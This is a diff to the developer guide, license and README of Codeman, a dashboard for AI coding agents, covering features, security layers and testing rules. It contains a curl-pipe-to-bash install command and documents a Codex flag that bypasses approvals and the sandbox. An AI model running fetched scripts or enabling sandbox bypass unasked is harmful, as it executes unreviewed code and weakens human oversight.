+**Auto-resume on usage limit** ("token pause" control, opt-in per session, top of the Respawn tab): when Claude halts on a subscription limit ("5-hour limit reached ∙ resets 8pm" and all 1.0.x–2.1.x variants), `usage-limit-patterns.ts` (pure, unit-tested) parses the reset time from cleaned output; `SessionAutoOps` arms a timer for reset+2min, then sends Esc (dismisses the rate-limit dialog) + `continue`. Still-limited responses re-arm the loop (5-min retry on stale times); a `working` transition cancels it. Claude-mode only (detection rides `_processExpensiveParsers`). Persists/recovers via `SessionState.autoResumeEnabled`/`autoResumeAt`; respawn cycles are blocked while paused (`isLimitPaused` guard in `onIdleDetected` — prevents `/clear` from wiping the paused conversation). Endpoint: `POST /api/sessions/:id/auto-resume`; SSE: `session:limitPauseScheduled`/`limitResume`/`limitResumeCancelled`. Tests: `test/usage-limit-patterns.test.ts`, `test/session-auto-resume.test.ts`.
 
-**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `agent-teams/`.
+**Plan-usage chip** (statusLine telemetry, opt-in `showPlanUsageLimits`, default OFF): Claude Code (v2.1.80+) pipes a JSON blob to a configured `statusLine.command` on each render; on Pro/Max it carries a `rate_limits` object (`five_hour`/`seven_day` windows only — no Opus weekly field — each `{used_percentage 0-100, resets_at epoch-SECONDS}`). Codeman injects its OWN statusLine exporter (`generateStatusLineCommand()` in `hooks-config.ts`, identified by the `/api/status-telemetry` marker — it only ever adds/updates/removes a statusLine that is *ours*, never a user's hand-authored one) that POSTs the blob to `POST /api/status-telemetry`. That route (auth-exempt like `/api/hook-event` — localhost-only, hook-secret-gated under a tunnel) parses via `usage-telemetry.ts` (pure, unit-tested), broadcasts SSE `session:statusTelemetry` (de-duped per session by `telemetrySignature` since the statusline fires on every assistant message), and returns a compact plain-text footer for the exporter to **print-through** (so injecting our statusLine doesn't blank the in-terminal footer). `plan-usage-latest.ts` holds the process-wide last value, replayed in the SSE init snapshot (`getLightState`) so the header chip (`#planUsageChip`, toggled by `showPlanUsageLimits` in settings-ui.js) renders immediately on page load / reconnect without per-browser localStorage. Claude-mode only. **Distinct from auto-resume** (which reacts to the limit *message*; this proactively shows the live %). Design: `docs/usage-limits-display-plan.md`. Tests: `test/usage-telemetry.test.ts`.
+
+**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.
+
+**External CLI modes (OpenCode, Codex)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). Both modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv`, never on the spawn command line: OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars` in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode); tmux exports `COLORTERM=truecolor` + unsets `NO_COLOR` (other modes unset `COLORTERM`); availability via `GET /api/codex/status` — session/quick-start routes fail with `OPERATION_FAILED` and an install hint (`npm install -g @openai/codex`) when the binary is missing. Frontend: run-mode dropdown → `runCodex()` in `session-ui.js` ("Run CX" label), App Settings → Codex CLI tab; Respawn/Ralph options are Claude-only, so session options open on the Summary tab for external CLI sessions. Tests: `test/run-mode-ui.test.ts` (vm-sandbox harness, no real DOM).
+
+**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
+
+**Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
 
 **Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
 
+**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. Supervisors: `systemd` (user unit), `launchd` (GUI LaunchAgent, gui-domain kickstart), `launchd-daemon` (KeepAlive system LaunchDaemon on headless Macs — restarts rootlessly by killing the server PID and letting launchd respawn it; detected only when the daemon is bootstrapped AND KeepAlive), else `none` → "restart manually" message; on next boot a manual-restart status auto-completes when the running version matches the target. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.
+
+**Attachments** (live external document references; COD-37/#119 core, COD-38/#120 previews, COD-39/#121 history): all wiring in `file-routes.ts`. **Registry** (`attachment-registry.ts`): an **in-memory** map of a stable `attachmentId` → an absolute, `realpath`-resolved, extension-allowlisted file path, so browser requests (`GET /api/sessions/:id/attachments/:attachmentId/raw`) never carry arbitrary absolute paths; `POST /api/sessions/:id/attachments` registers one. **Magic links** (`attachment-magic.ts`): parses `codeman://attach?...` out of terminal output — ⚠️ this scanner is prompt-injectable, so the scan path is **force-confined to the session workspace** (a hostile prompt could otherwise make it read arbitrary host files over SSE); emits the `attachment:detected` SSE event. Security gate is an extension **allowlist** (`isSupportedAttachmentExtension`, in the registry/magic modules), not a blocklist; a separate path layer (`config/attachment-guard.ts`) confines reads to the workspace (`attachmentConfineToWorkspace`) and blocks sensitive trees (`/root`, `/etc`). **Previews + thumbnails** (COD-38): `:attachmentId/preview` + `:attachmentId/thumbnail` (and the workspace-file equivalents `file-preview`/`file-thumbnail`) render Office docs/PDFs via external converters (`pdftoppm` / LibreOffice `soffice` / Word-COM `powershell`); `document-preview-cache.ts` is a shared disk cache (de-dups *identical* in-flight inputs), `document-thumbnailer.ts` does best-effort first-page images, and `document-conversion-limiter.ts` is a **global converter-spawn concurrency cap** (`runWithConversionLimit`) — without it, N distinct large docs detected at once fork N multi-minute converter processes = a localhost fork-bomb-shaped resource-exhaustion vector. **History drawer** (COD-39): `session-attachment-history.ts` tracks the last `ATTACHMENT_HISTORY_LIMIT` (100) attachments per session (`Session._attachmentHistory`, persisted via `SessionState.attachmentHistory`, replayed so externals re-register on reconnect); `GET /api/sessions/:id/attachments` is the list endpoint. ⚠️ The history drawer's launcher button is desktop-only — hidden on phones (regression-guarded; see `mobile-header-buttons-policy` test). Session-local files keep using the existing workspace-scoped `file-routes` paths; the registry is only for explicit live externals.
+
+**Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a run-state JSON per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json`. `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; disjoint directory tree, separate singleton) globs that tree via periodic poll + per-run chokidar watcher with per-file mtime skip, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is only started when the setting is on (`server.ts` gates on `showUltracodeAgents`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on the same `showUltracodeAgents` setting), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
+
 **Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).
 
 ### Frontend
 
-Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `settings-ui.js`(10) → `panels-ui.js`(11) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
+Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. Load order: `constants.js`(1) → `mobile-handlers.js`(2) → `voice-input.js`(3) → `notification-manager.js`(4) → `keyboard-accessory.js`(5) → `input-cjk.js`(5.5) → `sanitize-html.js`(5.6) → `app.js`(6) → `terminal-ui.js`(7) → `respawn-ui.js`(8) → `ralph-panel.js`(9) → `orchestrator-panel.js`(9.5) → `settings-ui.js`(10) → `panels-ui.js`(11) → `ultracode-panel.js`(11.5) → `session-ui.js`(12) → `ralph-wizard.js`(13) → `api-client.js`(14) → `subagent-windows.js`(15) → `ultracode-windows.js`(15.5) → `image-input.js`(16). `input-cjk.js` handles CJK IME composition via an always-visible textarea below the terminal (`window.cjkActive` blocks xterm's onData).
 
-**Z-index layers**: subagent windows (1000), plan agents (1100), log viewers (2000), image popups (3000), local echo overlay (7).
+**Z-index layers**: subagent windows (1000), plan agents (1100), mobile/tablet fixed header (1200, `mobile.css`), modals on ≤768px (1300 — must beat the fixed header or the modal close button is buried; bug fixed in `b8cb467`), log viewers (2000), image popups (3000), local echo overlay (7).
+
+**Multi-monitor button** (header, top-right; the notification bell it sits beside stays hidden — notifications live in Settings → Notifications). `app.launchMultiMonitor()` (in `panels-ui.js`) POSTs `/api/system/span-displays`, which spawns `scripts/span-codeman.sh` — a fresh, maximized browser `--app` window sized to the union of all displays (macOS; needs "Displays have separate Spaces" OFF). Supports the gesture layer's in-page floating session panels dragging across the physical monitor seam. **Opt-in:** hidden by default; enable under App Settings → Display → **Header Displays** ("Multi-monitor Button", `showMultiMonitorButton`). The button carries a `btn-multimonitor--hidden` class in the template; `renderIndexHtml` strips that class at render when the setting is on (a unique class token, not a brittle match on the aria-label/style copy), and `applyHeaderVisibilitySettings()` toggles the same class live on save. Solo (detached) windows hide it via `body.solo-mode`.
+
+**Response-viewer (eye) button** (header) is likewise **hidden by default** — enable under App Settings → Display → **Response Viewer** (`showResponseViewer`). Purely client-side (no `renderIndexHtml` step): the template ships with `btn-response-viewer-header--hidden` and `applyHeaderVisibilitySettings()` (settings-ui.js) toggles it after settings load. Hiding must go through that marker class — the base rule is `display:inline-flex !important`, so an inline style can't override it. `showResponseViewer` is in the `displayKeys` per-device set (settings-ui.js), so it does NOT sync across devices.
+
+**Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
+
+**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.
+
+**Theme skins** (App Settings → Display): the `skin` setting selects a palette via a `data-skin` attribute on `<html>`. Values: `daylight-blue` (default), `daylight-green`, `og` (OG Codeman). CSS lives under `[data-skin="…"]` blocks in `styles.css`. To avoid a flash-of-wrong-theme, an **inline pre-paint script** in `index.html` (`<head>`) reads `localStorage['codeman:skin']` and sets `data-skin` before first paint; `settings-ui.js` `applyTheme()`/`applyTerminalSkin()` apply it live on save and keep the standalone `codeman:skin` key + the settings object in sync. `skin` is a **per-device/client-only** setting — it's destructured OUT of the server payload (settings-ui.js, alongside `localEchoEnabled`/`cjkInputEnabled`/`extendedKeyboardBar`), so it does NOT sync across devices.
 
 **Respawn presets**: `solo-work` (3s/60min), `subagent-workflow` (45s/240min), `team-lead` (90s/480min), `ralph-todo` (8s/480min), `overnight-autonomous` (10s/480min).
 
-**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+Enter (quick start), Ctrl+W (kill), Ctrl+Tab (next), Ctrl+K (kill all), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl/Cmd +/- (font).
+**Keyboard shortcuts**: Escape (close), Ctrl+? (help), Ctrl+W (kill), Ctrl+Tab (next), Alt+1-9 (switch tab), Ctrl+Shift+{/} (move tab left/right), Shift+Enter (newline), Ctrl+L (clear), Ctrl+Shift+R (restore size), Ctrl+Shift+V (voice input), Ctrl/Cmd +/- (font).
 
 ### Security
 
+**Full model: [`docs/security-architecture.md`](docs/security-architecture.md)** — network binding, auth pipeline, the tunnel caveat, file-serving hardening, supply-chain, instance isolation, and recommended secure setups.
+
 | Layer | Details |
 |-------|---------|
-| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars |
+| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
+| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
+| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
+| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
 | **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
 | **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
 | **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
-| **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
-| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
-| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
+| **Hook bypass** | `/api/hook-event` (and `/api/status-telemetry`, the statusLine exporter) exempt from auth (localhost-only, schema-validated). While the **managed tunnel** runs, the bypass additionally requires the per-instance `X-Codeman-Hook-Secret` header (COD-54, `config/hook-secret.ts`): hook curls cat the secret file at exec time via `$CODEMAN_HOOK_SECRET_FILE` (session env), failures rate-limit in a dedicated bucket (never lock out login). External loopback proxies (own cloudflared/`tailscale serve`) aren't detected — plain bypass still applies there. Tunnel enable also **refuses** without `CODEMAN_PASSWORD` unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` (COD-55) |
+| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
+| **Validation** | Zod schemas, path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`) |
 | **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |
 
 ### SSE Event Registry
 
-~106 event types in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). Both must be kept in sync.
+~120 event types in `src/web/sse-events.ts` (backend) and `SSE_EVENTS` in `constants.js` (frontend). Both must be kept in sync.
 
 ### API Routes
 
-~114 handlers across 13 route files in `src/web/routes/`: system (36), sessions (25), ralph (9), plan (8), respawn (7), cases (7), files (5), mux (5), scheduled (4), push (4), teams (2), hooks (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+~146 handlers across 16 route files in `src/web/routes/`: system (41, incl. self-update `check`/`status`/`POST /api/system/update`, `POST /api/system/span-displays` → spawns `scripts/span-codeman.sh`, and `GET /api/codex/status`), sessions (29), orchestrator (10), cases (9), ralph (9), plan (8), files (14, incl. attachment register + list/history + `:attachmentId/raw`/`preview`/`thumbnail` + workspace `file-preview`/`file-thumbnail`), respawn (7), mux (5), push (4), scheduled (4), teams (2), hooks (1), clipboard (1), status-telemetry (1, `POST /api/status-telemetry` ← statusLine exporter), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+
+**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
 
 ## Adding Features
 
-- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`, use `createErrorResponse()`. Validate with Zod schemas in `schemas.ts`.
+- **API endpoint**: Types in `src/types/` domain file, route in `src/web/routes/*-routes.ts`. Return the `ApiResponse` envelope (`{ success: true, data }`; errors via `createErrorResponse()` with proper status code). Validate with Zod schemas in `schemas.ts`.
 - **SSE event**: Add to `src/web/sse-events.ts` + `SSE_EVENTS` in `constants.js`, emit via `broadcast()`, handle in `app.js` (`addListener(`)
 - **Session setting**: Add to `SessionState`, include in `session.toState()`, call `persistSessionState()`
 - **Hook event**: Add to `HookEventType`, add hook in `hooks-config.ts:generateHooksConfig()`, update `HookEventSchema`
@@ -185,29 +239,30 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ## State Files
 
-All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log).
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` (VAPID), `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart).
+
+**Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 
 ## Testing
 
-**CRITICAL: You are running inside a Codeman-managed tmux session.** Never run `npx vitest run` (full suite) — it spawns/kills tmux sessions and will crash your own session. Only run individual files:
+**Never run the bare full suite** (`npm test` with no file argument): the default config includes the browser-driven suites (`test/mobile/**` and 3 other Playwright tests), which need a live server + chromium + environment-specific PNG baselines and will fail/hang locally. Run individual files, or `test:ci` for a broad sweep:
 
 ```bash
-npx vitest run test/<specific-file>.test.ts     # Single file (SAFE)
-npx vitest run -t "pattern"                      # By name (SAFE)
-# npx vitest run                                 # DANGEROUS — DON'T DO THIS
+npm test -- test/<specific-file>.test.ts         # Single file (SAFE, uses config/vitest.config.ts)
+npm test -- -t "pattern"                          # By name (SAFE)
+npm run test:ci                                   # Everything except browser/perf suites — what CI runs
+# npm test                                        # DON'T — includes browser/visual suites
 ```
 
-**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s.
+Raw `npx vitest` skips `config/vitest.config.ts`; always use `npm test --` or pass `--config config/vitest.config.ts`.
 
-**Safety**: `test/setup.ts` snapshots pre-existing tmux sessions and never kills them. Only `registerTestTmuxSession()` sessions get cleaned up.
+**Config**: Vitest with `globals: true`, `fileParallelism: false`. Timeout 30s, teardown 60s. `config/vitest.ci.config.ts` = same minus the browser/perf excludes — keep the two configs in sync when changing shared options.
+
+**Tmux safety**: under vitest (`VITEST` env var, set automatically), `TmuxManager` no-ops ALL shell commands and becomes a pure in-memory mock — tests physically cannot create/kill/attach real tmux sessions (`IS_TEST_MODE` in `src/tmux-manager.ts`). `test/setup.ts` additionally strips `CODEMAN_PASSWORD`/`CODEMAN_USERNAME` so auth state from the running instance can't leak into tests.
 
 **Ports**: Pick unique ports manually. Search `const PORT =` before adding new tests.
 
-**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject()` in `test/routes/`. **Mobile tests**: Playwright suite in `mobile-test/` (135 device profiles).
-
-## Screenshots
-
-Mobile screenshots in `~/.codeman/screenshots/`. API: `GET /api/screenshots`, `POST /api/screenshots`.
+**Respawn tests**: Use `MockSession` from `test/respawn-test-utils.ts`. **Route tests**: `app.inject({ method, url, payload })` in `test/routes/` — no live port needed. **Mobile tests**: Playwright suite in `test/mobile/` (135 device profiles). Browser-testing infra and practices: `docs/browser-testing-guide.md`.
 
 ## Debugging
 
@@ -219,27 +274,14 @@ curl localhost:3000/api/subagents | jq             # Background agents
 cat ~/.codeman/state.json | jq                     # Persisted state
 ```
 
+Mobile screenshots: `~/.codeman/screenshots/`, accessed via `GET/POST /api/screenshots`.
+
 ## Performance & Limits
 
 Target: 20 sessions, 50 agent windows at 60fps. Limits in `src/config/`: terminal 2MB, text 1MB, messages 1000, max agents 500, max sessions 50, max SSE clients 100. Use `LRUMap` for bounded caches, `StaleExpirationMap` for TTL cleanup. Anti-flicker pipeline: `docs/terminal-anti-flicker.md`.
 
-## References
+**Memory leaks (24+ hour sessions)**: use `CleanupManager`, clear Maps in `stop()`, guard async with `if (this.cleanup.isStopped) return`. Frontend: store handler refs, clean in `close*()`. Verify: `npm test -- test/memory-leak-prevention.test.ts`.
 
-Deep-dive docs in `docs/`: `respawn-state-machine.md`, `ralph-wiggum-guide.md`, `claude-code-hooks-reference.md`, `terminal-anti-flicker.md`, `opencode-integration.md`, `qr-auth-plan.md`. Agent Teams: `agent-teams/README.md`. SSE events: `src/web/sse-events.ts` + `constants.js`.
+## Scripts & Tunnel
 
-## Scripts
-
-Key: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh` (tunnel start/stop/url). Production: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`.
-
-## Memory Leak Prevention
-
-24+ hour sessions: use `CleanupManager`, clear Maps in `stop()`, guard async with `if (this.cleanup.isStopped) return`. Frontend: store handler refs, clean in `close*()`. Verify: `npx vitest run test/memory-leak-prevention.test.ts`.
-
-## Common Workflows
-
-**Bug investigation**: Dev server → reproduce in browser → check terminal + `~/.codeman/state.json`.
-**Respawn changes**: Read `docs/respawn-state-machine.md` first. Use `MockSession` from `test/respawn-test-utils.ts`.
-
-## Tunnel
-
-`./scripts/tunnel.sh start|stop|url`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.
+Key scripts: `scripts/tmux-manager.sh` (safe tmux mgmt), `scripts/tunnel.sh start|stop|url` (tunnel). Production services: `scripts/codeman-web.service`, `scripts/codeman-tunnel.service`. **Always set `CODEMAN_PASSWORD`** before exposing via tunnel.

LICENSE

@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2024 Claudeman Contributors
+Copyright (c) 2024-2026 Codeman Contributors
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

README.md

@@ -2,18 +2,22 @@
   <img src="docs/images/codeman-title.svg" alt="Codeman" height="60">
 </p>
 
-<h2 align="center">The missing control plane for AI coding agents</h2>
+<h2 align="center">Mission control for AI coding agents</h2>
 
 <p align="center">
-  <em>Agent Visualization &bull; Zero-Lag Input Overlay &bull; Mobile-First UI &bull; Respawn Controller &bull; Multi-Session Dashboard </em>
+  <em>Claude Code &bull; OpenCode &bull; Codex &bull; Terminal - One Dashboard &bull; Any Device</em>
 </p>
 
 <p align="center">
   <a href="https://opensource.org/licenses/MIT"><img src="https://img.shields.io/badge/License-MIT-1e3a5f?style=flat-square" alt="License: MIT"></a>
-  <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-18%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 18+"></a>
+  <a href="https://nodejs.org/"><img src="https://img.shields.io/badge/Node.js-22%2B-22c55e?style=flat-square&logo=node.js&logoColor=white" alt="Node.js 22+"></a>
   <a href="https://www.typescriptlang.org/"><img src="https://img.shields.io/badge/TypeScript-5.9-3b82f6?style=flat-square&logo=typescript&logoColor=white" alt="TypeScript 5.9"></a>
   <a href="https://fastify.dev/"><img src="https://img.shields.io/badge/Fastify-5.x-1e3a5f?style=flat-square&logo=fastify&logoColor=white" alt="Fastify"></a>
-  <img src="https://img.shields.io/badge/Tests-1435%20total-22c55e?style=flat-square" alt="Tests">
+  <img src="https://img.shields.io/badge/Tests-2861%20total-22c55e?style=flat-square" alt="Tests">
+</p>
+
+<p align="center">
+  <strong>English</strong> &bull; <a href="README.zh-CN.md">简体中文</a>
 </p>
 
 <p align="center">
@@ -30,29 +34,11 @@ curl -fsSL https://raw.githubusercontent.com/Ark0N/Codeman/master/install.sh | b
 
 This installs Node.js and tmux if missing, clones Codeman to `~/.codeman/app`, and builds it.
 
-**Install from a fork or specific branch:**
-```bash
-curl -fsSL https://raw.githubusercontent.com/<user>/Codeman/<branch>/install.sh | \
-  CODEMAN_REPO_URL=https://github.com/<user>/Codeman.git \
-  CODEMAN_BRANCH=<branch> bash
-```
-
-The installer supports these environment variables:
-
-| Variable | Default | Description |
-|----------|---------|-------------|
-| `CODEMAN_REPO_URL` | upstream Codeman | Custom git repository URL |
-| `CODEMAN_BRANCH` | `master` | Git branch to install |
-| `CODEMAN_INSTALL_DIR` | `~/.codeman/app` | Custom install directory |
-| `CODEMAN_SKIP_SYSTEMD` | `0` | Skip systemd service setup prompt |
-| `CODEMAN_NODE_VERSION` | `22` | Node.js major version to install |
-| `CODEMAN_NONINTERACTIVE` | `0` | Skip all prompts (for CI/automation) |
-
-You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code) or [OpenCode](https://opencode.ai) (or both). After install:
+You'll need at least one AI coding CLI installed — [Claude Code](https://docs.anthropic.com/en/docs/claude-code), [OpenCode](https://opencode.ai), or [Codex](https://developers.openai.com/codex/cli) (any combination works). After install:
 
 ```bash
 codeman web
-# Open http://localhost:3000 — press Ctrl+Enter to start your first session
+# Open http://localhost:3000 and start your first session
 ```
 
 <details>
@@ -60,12 +46,53 @@ codeman web
 
 **Linux (systemd):**
 ```bash
